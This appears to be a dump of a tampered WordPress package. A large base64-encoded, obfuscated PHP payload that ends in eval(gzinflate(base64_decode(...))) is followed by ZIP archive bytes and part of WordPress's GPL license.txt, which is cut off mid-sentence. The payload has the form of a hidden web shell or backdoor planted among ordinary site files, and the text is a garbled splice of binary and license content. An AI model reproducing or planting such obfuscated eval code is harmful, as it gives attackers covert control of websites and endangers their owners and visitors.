pTE1XR2pMVlFnbVdYL1A4Tko1Qi8xeFpjek11TG1sV0xSMVROVnJzcVRCRU02c3JuYm4zOXgzbU1jOVg1VFRjNWN6R1Rma1FpYzB4OFlXeGZCMjUrQWJZdzlycnh5dFdiQUJHOUNBclo0YXZFdWtZeEExNU9ndzBCMlNXclF0c09pSERzbVhnUkg4SEpHUW5YUmE3VXB2UEZUQ3ZkOFJYekJoU0xleUtnTkFycldZMUtBSjJmR0YvNGhuQkhUd2dGRVBmekp0N1NmdjZTYXpyMWcyTVE2bHloU04xOUFGMDJoSTUydU11LzMzSkhFK3NHRjZBck5DczQ2aE9NUXI3Sno1WGZSZWhCek5CWEFyZExraEJWZTlFbE9tN0VXd1c2R3BpZ1NrTzBGR1JLcjhKdzFkWWVQU3JkVWdMR1ZYZEhNcG9QYVZhZ3FLQk9PRUh4bkl0VnAxV2xlQVQydUVxUmNSOVh4b3Q1SnZjZTJnNy9jdmsrUjdxRDdCQnRKK29NRnhFYTkyMjVTT3RXK3VQNEZOWTVEQ2dva2xvanU1ZHM4NnZHMHBXTWlDYjk5dkh2UjhRMC9FWGNENUlhcHdUU2YwUnVjTE1Qa2l3Y0FnY1ArK3REV3RFOE11R3dQMFZxVmZPN0NMbEtGTTZzSlM0RnpuR0tkTVM5RzRwTGIwblI5MVJycG5DNktTZ1IwMnpiT3MzUFVJRUJndGxRQjRFNGs2ZDZCWkxvWE9xdGMrLzNkNjNFZGY4ejN4WmM1V2xRekVPUmtrTkp4eWlpcGhySUVqOFRpMTUySzl3aVlTdUpSWkpyOGdDMUZ0alh2YjBITzlEL3pKbWp6MnBBaUtCNEZoTUlRRUNqYXdSN3BZSGg4ODRoUitpTnZrci9wNkRxOUQ0Vmxld1JnWE1VM2N0bXRDVEx6YTVhZXI1dWM5czgxMDI0OHhSNkgrQmI0eXhOcGFucGxhenh6Vm1jQUE4TzhMMXRvV3Z6RXlDeGpOdjYrQTR1SUw4S1JzVlRXQUN4R08vYkJLa1JPV0hJZGNYaGFrVVAzNXpBQnhGUDVyMzdsMVpTUURwRDBRV1JHYW1KbWlyaHdCc1NLRWdsWTNVZmZFUkJQcit1RkIycFVSbm16c1JiQ0g5QStIclg4NzF1OXg2Mk5sU0JwbElKdWRYTnoxQ2NEcE9yMUdENk9XNUxJSGpCbTFGR2lJZ1J5U1kvVjFJNWxkVHVEMnlWakJBeW1QS3FNdG52SjZRdzRYd3dnenZuRUFCNFMyczJYekZ5Rm9qczRnTWxrT2E5MHJoT2YrQjY2K2pYZnJ2S1NCSHpXcHFOUE8vUUdjdXVRRVFBT2xTRnJ4eVBWRFViNTBBRzlFbEpXYTFOa29UZWdYRlZrRVhvWXB2c3R1RWhkTkNmemRrOEVqd0EwZ0x2M1JpNDFCSUgvbThhVU11TUVZdlFQK3pRbHhuTHY0UzVWQk1wTTdPdlVTc0VLMmNRMlNpVUtWVXFiWWxoam9wVUVvMFNNRy9DUU16TTZaNFE4Y0pFVUlnNEwvSDdKYTFkUHNXaTBDT2Q0VzFoZnd6Y0F3Rlk4cGNjU0RPNXJsNFlNbC9XZ0xQTDI3RS9SVWdqZGZUME4zbWVISXZNQVJjOUkyVGovcTJhRFZzM0U4UVZwbElveExtd0g4V0wvR2pTWmowTW9vZk9kTU13U01ZNkprMG9zRGpIZUx4NW41Tk1LaXJ0RUhveUR0NFpTZU9qMDF0U0VFamVycjJvVW1WbUxZazNUMnJQLzBDbzFQQkNlQ1E4RnRMdEd0eEV6Q3NmTDR4NStERCtYeGtYVTRDeXM2YkJUVGtIQVE0T0RvT3ZZVk9jL0hDYng1bTNkSGNWWGVQWkQvQkd5dG93cVZ4QklHNkw3VFd6ZytsZzhTSHdNb0p5UWNiRDBRMUdBeEs4dWhMNWtDQXMrZWpkWmg3VmMyOUVDUHliNmNiUTVneWlBLzd1LzdKcVFhN203eWtOcGRlWVZDb3M4SFlxRE9vTUFUNkRSR0lIUUtvbG54MXJwSEtlOUtZWWxQODR4WWxKSVAxR3UyK3RTMXJjNTg4VFhwUXRaOWNJalo1dFpHSjFlaXArc0VBcEZ4TGNEK3VkSTZFVlh3K3J6a1dGc1hYWm5LZGdNWTFYb2pEVzZuY0hPY3NmczF2SmFONk01NEhlTEo1a1Y5NklEc0VNUFEzbjBMSzBqK3JZa0JOSE50WGNpQlV5VFNHdU9EdEVIeXFYdysrUGNzNUZKQk9CS0ZtK2VsN1BNVEM1WjJ2S1N6QkJISEFxQThoNGZuYWNnMVRYckxLZWxTTEhNcjFPUHpDTlNDNnVldGhJYnpvalE3cUhicktuTC8wMEJmNU5OZlJlRlVnYzNkR1pITXNKM1BEclk4bEhBS2tpMmh1Zk5qdFUyT1R6d09KUmZUeFIrQTVVWGJiUzdGdjB6bzdvWlFBcGF1ZExPZTlmemYySDlPTVhRTGRRZGdZMHhOMExnYjY5Q1VZbnpzV1BxQWVMa05FZ24wN0Q2TEU1bXJkcHN3S3hzSTZNUmJ2SmZWTnAyM3NDaS96aW1JWDlhKzZqTVJuSUxnLzVaOS82R0lDUWFYdHNndEJjSGhiK3VFLzZMRkltYU5kd21YcGhiSGwyRVFnVFJ0dWZOYXBVYTNMUURPNEo1QkRVSlJRNi9CZEgyZTByUUw4SVF5YkFqZjZhR3BQUUlCZEIxVzJ4TkQ4bDIwNFM5YlpTeVVMN3Y2T3MrbXNIWWdVQWdHeTBuT3VPTzZSaDdJbURuaGV5Rnc0a204RU1rME1mKzdoUGorTVQyUm5rTTJDMzBnYVZIUWZPT1JtNHJwMVp3QUd2TGpyZXN1cnR3NHZVK1Zla1R1UzF4SEV5cERUOG5GQmNlY0ZtQkVUMTl6K1krRll0MGYrcGwrd05Ta2h1SVd1MU5nNlA4MFZEcHZBZjJQSCtwZzZZV1dtcFdLazNYOHJXZEl3RkxLQ2RHcE81dStlUG85TmcwemxOOWtybHBPckdpUE9MalZkTW5RYWVnenp2U0VBaUpMZjd6OTViQzNZRjBFQlBuWmxuR0p4eEllQWYvOHlCbkc2M0t5TzE2Z0V4eWRQamZ5ekFNWUg1NEJGT0JiN1pqdDZYeWNZUlovTmtCSFRTMUVSelJKVUpXTlhFZWhxdmtkSjFPUGtFc1RiU2hZSmZ6MTBkeXhId0ZRc3llN295emE4VlFMRTlwTWJNa0FtVmRoY3FPZGJiVlNKME5RcmpBR1c3VC9nQXFEb3dzRnNTQTdoSkJvWGVmTDRuMkFwZ0JkbmJCVm1HaEphOHBCQkU1STl0bWJiaDVlRWFyVjFLcVluZUF4T1VSU0dQSEFBdlMvV0dENU16VCtCL2lSaEE5Ym1MQkExYmhHQzRQMlI3ZVpidXdOcVI2aHNXdUtKNS9nUmwrWkJQUnpnTmlhdE54eXZkZHRROTNLWGE5b3lic280bVFnRlM1YlA1VEFMWUVYSWlnYmdKaHVpcFFpR1FhU1dOLzJOQlB4N25WMW5wb0JXL0VsK2dBRHJmK2tYYVJmNTIvQU1venlwZzNXcmdVSDg4eHZsdC9ISU4vS2FjdnY2SHZuWXJHM1k2K1lKY3RCQ251QTVjeXk5OVltMUdlREl1ZmJmNmtmSmNoUjhTMDQ1eTlQU0k0NFBSVXRja2hJZkJza0lqUUZRZVhDdmE3TzBQdWo0aUp1NWpleFVtOEFaWnU0WVBiaDJmd05aWTlGYlFLNkhSK2k4aTFOUzBKVzBjM3dGcTBiempJOTJNTGNpaUpDc2REUVM3SEpzbEhKckRZQlp5QTd1ejBnSWZjQnI0ckhFRVFzQVZBaGRXV3hab1B2TExXUGc1T1JlS2hBOTlzQXVCQTRKT0VaVVpYU1g3aTJZOHVmVkRRejVYT2h5dHlMVFlQWmtPQzNkeG5ENTU0QmgvczdNUUxvTUdYK1NtWk5XczlxcG52aVpna0dQUjVtRFRCSXpKK2NBZTk1STZERDJLN2YrMlRudE44VDIwTm03N0RjWmt0NGcvRXNHQStjd1lZZ3hiTUdMR2dtVElYY1RaZVFzd1BRUUJOdFdhcVFacnpnSlc1N3hyNGJwalZ2WlUwb0JjL282Q3RqcGJVQ01QRUVMMTBDSDFNQWViNEtBVDU2K3VlWnZxeGd3UHZUY05EN3R2OGtqNEI4SFRjaHc0ZXkrUWF6MGIzQkRwS2J1Z0JaZGVwQnJzc2Z3SGE5YU8rdHozM2pVQTM3OVVheTJ0RUVlMUd6UVN6SDMrejNTY3Z6YzZnU0V0L1Q3RWR5UC9sZzlodjZ2N2wrUGl3MUdnTmpIc3VPZ1JNQTY0SUd4QUNTYldlelQ1QVJIQjAxU003N0NDN0hlQUo2V25jU1VRcittaXVzZjFBV0xnQnVDMTFBemNSek5aNHVidERWeE50SXoya1Jac3dXWkE4SGRkQWc4d3FRMVRxbE1LRXhadE9JbXhBTFM0R1NnWk5mMnJmRzgzZVVCRm1BSU9rak1qOCthTHEvc0lBTytpTTU1NmlRY29lWTk3NXpHeTBqV0VYNUE2VVYvQVFic0kvbnVLQXA0QmhNZ05CT1JhOENOOWhsS0k1d1VBcTBMa2dtdHRwd0pLZGkrc2ZUdG5hQ01iNjNhL3VhOGVXSDFMRjlHeXN6MUM0VFk5SzEyNURnSEl2L1RNSVdKc1Q2WjJFNHRVYmV3UDNPR25lNGhGYndxWEVsMU43eGY4ME84cjA4UVViaDJWa2xCTGg2WFFOWGVnUmcvQkJWRnpVc3dOcHpqdDIzTlowcit4QjhjdFJQQ0pIcmVYMUlBOTJnTDF5Wmd0TEE1aXZUNk0wa2xJRnE4SFpXNldiNkJZZlQ1R2hkSkFEMDh5TlBjZ1VaTi8vQUpYd0VvdkJ3eFJLcFYzTTc1QXB4QXU5U3dQVDljK1lOREw3dVV3eGdETlltRkgydDBzaFRqM1FBVzJ2VGpyaGxHWUVpSDAyVlA0SVpXU24yQUxqRXZHSUU1NUhOY202bmVrU1d4T29QMDBNMDlvKzRkNzJDOUtoWk1OZ0NRU2lzb3hUMmNYRFBXaGY2SmJzRGh3SFpSczVma0lxZlFjZXhDSkFwd2NBdlVPMWJmSDNPb1QxUWtlV25RU2tMbUlPVzNVdFF3Y3A0SFRLaThOMEhmK3VOeWpQUlJXWU1kRGE1Ny8rd2xnNFhFdHpSNDZQcHlJc1h3NjJsWGxFZE0yeTNKalQrTXVXeXpwMlZ0Z01WaDcvUEtmMExod3dUKzd2b1JzMzZlKzNJUU9EYSttdWpDb3dsSS9KbGRwKytxc1U5TFN6bElNUmd5N1g3Syt3UDQrSDQzZy93R2FERjdjUGJmQ0hJemIzbWxlOGJPeXZCR25CdDFzQkdJZWlVcXdlYno0TU1LNm1CRFU2WEhhWjI1dGU1WmtGZDdYT0g3VnRhVVplVUNVVEIrWFR4MFNaSW9TcVpHTXk0NGNyWDh3MUxIbXk3UEZYeEEvMjRUSXlDWmJJelF4a0s2VVg5NENFUVJpSHpHR0htTGNaZGdkY1Q4UEZlWU05ZmNlQTFpc29mazA2ZVo0b3NHcDFUcTBWa3NhVFVlSjQxQVMrTzhVUzd2KzIzNFRHVHRSc3ZWRWhMTm5sY05FTms2eFpubjI2cldKeEZTa2hxN1VNbFlra21MTlJwNU1sWU1CZUVaNVBxRWZ6dEM4aHY4WUtIUENaakI3MkYwN3U1aFo0OE9UMU9IbkdLb1lUY2VCN285aEZHeDRqNUN6L0JyT3dEeFVJclkzZklmN2RwdTFzTVdhSWNHSkRuUHNqbWFNSll2SlhoMVBvd296ZWhmaUEzSjJpdzBIenh1UzlKcklvaUlYWE1LSC9YeHlLZ2YvdzRlTGc0TGtmclVBUWZlL0FPNXB0akdKWjIxdldXM0ZqQ2h6WFMwYStxZTRPNGlTS09zcXBIYWdzT2lSS2ttbXRyQS94cC9YbzZ2bDZiSFJHZXRWMEZ3Y0Q0clVIOXNhdWhSNFJDaDE3ZUNaRjNtM3MzU3BvdERZMXVhck1sUExaMm5kaVJ6MWpuVW9xYTlTUHpaWHlKS1QzREhzWG1jMXRjQ2pEemNnWVpIUHZsUVZxM0x0eHgrdERDSWpUWVBiU3prTnFtRk5tNm1zSmlLbjAwYnRmNXZYSzJBSlcrWG52Z0xHSEpjTTZJYjVhR1pBaThPQzJ4dS9IeTM4bEpjU2VXaW9JQXNySTdraEpiSS9UdGtGQkZjR3dSK1lrbU11QjdPbzhEdmsxLyt0cnZWTzU2cEY1RFltQXY2SGNtZ2ZEYitRc1VBS3p2L3NFNEJFN2dtZTJEL21QTFR6OEF2ZGYyUEhwQ1p6TFBvTlNody9kZGt2bWdONHYzS25CS2Jaa1BZYnBLMEVGamxHOXZrTm0zbFNQaE9KekloZ2ZSQkZ4bFNvbUk3M0VzWmUvK2hOSW1hdi81cmk4dFpKTXhqbE9HVWlCL2FEbDlaUi9Keis1ZFVsbjlZRFA0bmt0N0lSUDVPejJraTRqdGxVcW15aFFZQnVoRi9mYUtOSXBCVGhVWUYvRlZBVzQrVGNJbGQ5cHgyaEI5bDBmOXFLd1FhR2VIVTdCZXYrYmtxM3BrMEh1RDNoVnI3Y0QwU3hHUVloekhZYTc5MkxLTXdIQ2V6UnIrR1lReUFMOWpDaGx3Mk4raDRWTGY0QWlIOGhBQllkK2RnVEVzT1pSVGpUeTd0dTM1dkVHYncyNzlUamloYUVUaEU5bFhudEJYM2U4OTBiclh2NmFTdUlxSGc0eHBqNENhenkyRXc2RkcxWUdmYndOb2VxdzRGcXhLWUdSMHQwY0gxS3BROGIwQzhqZ2dWOGx2a0hOampsY01QL3U5cDI3TWI4d24vcCtLNGdjeWdIMFEvdDVGbmE0bVlHYVh5dlZORnV1UTZSbEhKUXRRcFJlUkxTL0tBRVNVSGlZb21GdndGZElFbEdIbjdCN2J6U0duRFRuLzZUNk9CL0xaeHl2S2NGL00rQTlqN2hmKzdHbmhyYitPOWtESVQyZmFoVXJ5dm9VSEVOUVRScUg1QUpVMDVKWjNSWXdkdjdGYU1NME1IdFdtaGlyUjRjNHlwd0VWd1JjcmY0L0NnOGZQQno0enh1NEVpRGl2aWlhay9vMlE0SUxUbFBFV0xldWhINnoyQUtDQXZlVVM1Yy8ySEhlSUI5OTdKQWx2ZGxLTDBOSEJKODdUdThWLzlYNmhPMnphY3E4THgvSmhJNEd3M044TFVTZEVRVG9ZZzEydXl0dFJPWmNpV0pvQk5QdVpZQ1VBZU41N2NuS0tBVTB5Y2FJMnNEVWN5RmE4S1BiWE1pLzVzL2ZCSk0weitvcWJHVzlwSnV6Nis3dm4zZ2hmSzMydi8yeFFrU3VpczNDUEpOd0dSWGdvcmdweUtDakFvWmsrU1ptWDhXYSsvZjR4WUNMRXZqd1p3bEhKallaeGo5Nm51RUYra0xZdVVRRTdsUHJnZUl3ZE5hZ1Q4SGtZRi9xeUw1b3dNUDNISTkzV0dLbTloQzNJNUVMNXBmdnpOazVSUER0VFNCR2hKZWI5dzBXWDlwdXd0Vlc2QWJLVFYrcEFJRjY5MGk3ck9vZGFXeDh6bnhYc3FjdmZsZHNTL2VRVWYrb05vSnBuOWM1eHpBM0RBUXoycjR6TlNjaEw4bi9VWm9hN00wN0JRYytJRFZsOWxsOGNpbDQrYnVzU1lHSjVnbUVyOGJUR2pMR1BSOWNmSE04YVhPWTh3LzUzV05GYVlCdkgvaGZnN1l0NW5RMnhvOWN5S3RENHhsQkJmeVM5RlJNSlladU94WUUwS3JZYkQ3Q01paWRnTDdxa3pyR0lONmN1OWt6OGdUSCtMSjU5N0RXTlhUTlBGamVjZUNDRHF3QzAyelA4Q0czKzlUZTRlelhWMzNQcUN4YTRBaWNScHhNS05wZUJTYnhYMCs0SXpzWGtmSTFxMy9mL3liTUdnZGpUUDRBK3FmWUZFNUVQTmFjQjRPcWVjRkE1KzVkTHlGTmpzd1ZsLy9OcWNQODZ5UWhranJkeFAzYWxrcFRtSFl4RXJwb1JpcFltWnNINm50OWgza0t5VkRGWGtYaDBMOUZsRUQyTytqUm5nZjVKQWFLNTJJczc4Y3hFaXVyclkrV25FR1BMWFROdEpPWU0xZmlybldzUGlDMWdvWnVib0lEM1ByOGVTdmdLWUhaNnUwV1hZb0tKandRYldDeFdBNnVac0NsWWdQRE5zQlRxNWR2SE1GZm9ZTGI5eG52YmpoMVBmbWJ2MGozWnp0VDNoekZSNmdqbU5seFMzRE9IRU1STVRLUUh5WEl6eElXMU5GUnBaaWs0RW05bFpwcVl1MFJKZHlVVThIT2R2SHY1dlZCT3I4WUhGL0JiNURWbE1sRnRGS0hNWjZMbUcwbC9JS3h1L2lFWkpwMDlkSFR4LzlucXpRcHRPTTd2enNkeVZnd095VG5SRzVGLzUxRVI5ckgweVJOWXdJdmNMV291RDNPM0IrSkJBdGEyTTJOWVArZGFseXJ6T2xvYURMd3NpNXpySUhzazYwcFYxOEw1MndGMTFPWERrYmNYQWV6QlNqa29FWkpEcDE4YitOa3QxdXVIeHU2Q2dDMG5mbDhzZDIvOEtGUnlUZEJ0NmZXZ1lMNUJYNzZxeFI0LzkxeW1qQlRaRHo4T2tKSCtsd3pucytJYXdiVEFGQ1cxV2l0RUU4SlR6SkMxUkZsTzcwdGlmRWVCRXU0M3pzb1p3NlpYY3JBMU1HeHZnRjdNQmNYdjF2TVgzSWE1V2NMMjdyeEZkS09iMWNQM1JBMzRIUXpGK3B3Y3UwQjUvOXQ5RmR6WFZNeG53NGt5UzVZL0tHVHdoL05XMW01bUpodDlSa1Z2eFh3M0RKSTNFWnA3eUoxVXo4dTdpblhmaXNQTGc4MnI0ZThvVS9Xck9aUjRlcGZ4U1dkZWlHVEFaK01MSWRFc3o3RE1WZVduSkdza3YzSUZhTzN5TVd0WmRpWUw3Y0tjVWZXTVRkdnc0akU3dFB2aUVTY1FjOUJPOFdUZityUGQxRnJiVERRL3hqLzRBOVRmdDRJUmd0eU4zMC84WEFpbzJQMTlEckZZWTN2Y2x1Rm5ndjA3dDNGbm4xMzhxenh2Rk8vWGYrT2lRUU0zWU1hU0gvNHlmWDUyVy9BQ1Bsci84enNodmZ0dlFqMHY3YnV0ZHlQV2liNktsRzROZi9JblU0TVBPc2ZVUm4wWXI2VnBiL3B2UmtxbWYyRklZNzB1eEVtcGZZOHQvYXJsZFdmRWdqTDM2SUJHenNRS2U5UFJUc09ieG1yb2QrcnVvamFhYUpFekMybjl1aGMvcksyTXYzKzc2VkhaY2VaTzN2TkV1akc0YWtSTGRhNEo3S0laS2ViLzdUVk1ZVDNsM1Q5Y2tBOHc5NStjLzJIMzRkKzVJTUp6L3hYejBBdndLTkh1TlR2VDVoQnNUZi85YmJKVFRwWUZ4SE92NjNyL08wci9weHl6Mlo0SGZUTjQwTlRXWWVyMkNGN01LejJEZmZLZGVkRDNkMS8rekVWbFhXdXluUGJvZUk3OUgzdi9oTzI5ZFBicFA0N0pFUFJ5cUg0KzhiS1NMbTNyVnI0bitseUlsaysra1hTbHhpc3ljMnlldnpYRU9lcnN6K1JENFcwN2p0djB0RVMvNlQ2cXA1ditiSGJrbjlkTkFPK3ZwR2VrcnVDN3piVkU3a0VaenhlNENYLysrbmhTMjRsL2FXZU1PR2h3dGxkTjdHekdzNEgrNXlPSjMrZEhVc25qazVNTHZlMlQ2NGtyRytvV0YrR2ZvOXd2L3lUWmRZdmd6bEhpeldWUjJaaU5rN3h2OUIrMGhOVTlBc2YvNGFLVVpiclZkOEtwV1Z5aGZMT2JLVjRqYlJjeTBFaExiZTNZSTJ1UUUySmJjTmY0ZXB5VlN4cDQvOHV6b0pJT3haSjFHL3pQU0ZPbUdMQ1RnUUtXWlF3THhhUWE3dE9rRlpJa0dSOGVKZnY0VjhMbjRTbVIvN0xLT08wb2l3T2tubmVvMzcvY2k5Z0ZBajQ2cEZRditqRXgyWkxFeTFBRk5qY3lkaUkwSHpCSWYrcEIzWE1JU2hBSEQrdnduelBSUUVtRk9JM3U5dVRsSG9odW52RlZUaEduSlIzNzluLy84TjI3UXZkZDM2LzM2L3ZzZzhwdjU1Zit1NE1GLzhMY0pqc2pIMndETjV4OWR3LytTODA1YURWTTB3MS9OdlRScHAxY2VSYVFkTDBrdTNrWE9GRUpjOXZQaDFPUDd1bWlRcmJxNzZCRzd1Z0taYXFYTmZuSHlvbDc5aVcrU3V1T3A4WTZONjltM1g5dW52OC92MnZ2NVZuYy9mLy9kdDMvc0hVQi8vVy8veDlFVDYvS2NDOXovbC8wLzVmV1RGRWFsNTQvM3ovL3lPR2padnNpWHgvdnovL2wrLy84Ly85L3Z4L3Y2Ly8wVlZ6L0gvdjdIY3dCRGNJY0dhMjk3NXRxUFVuWmliU1lyNG83VFFZTGFaOWgvbHdxcm9GMFQyb0pGaldlR2JOMDNueHAyVWlESnppc0gxTFRjaTNmd0Q0REE4SDhBK0FBIjsKZXZhbChodG1sc3BlY2lhbGNoYXJzX2RlY29kZShnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkc3R0MSkpKSk7Cg=="));PK Ig*[>7� �M �M license.txtnu �[��� WordPress - Web publishing software Copyright 2011-2025 by the contributors This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA This program incorporates work covered by the following copyright and permission notices: b2 is (c) 2001, 2002 Michel Valdrighi - Cafelog Wherever third party code has been used, credit has been given in the code's comments. b2 is released under the GPL and WordPress - Web publishing software Copyright 2003-2010 by the contributors WordPress is released under the GPL =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE 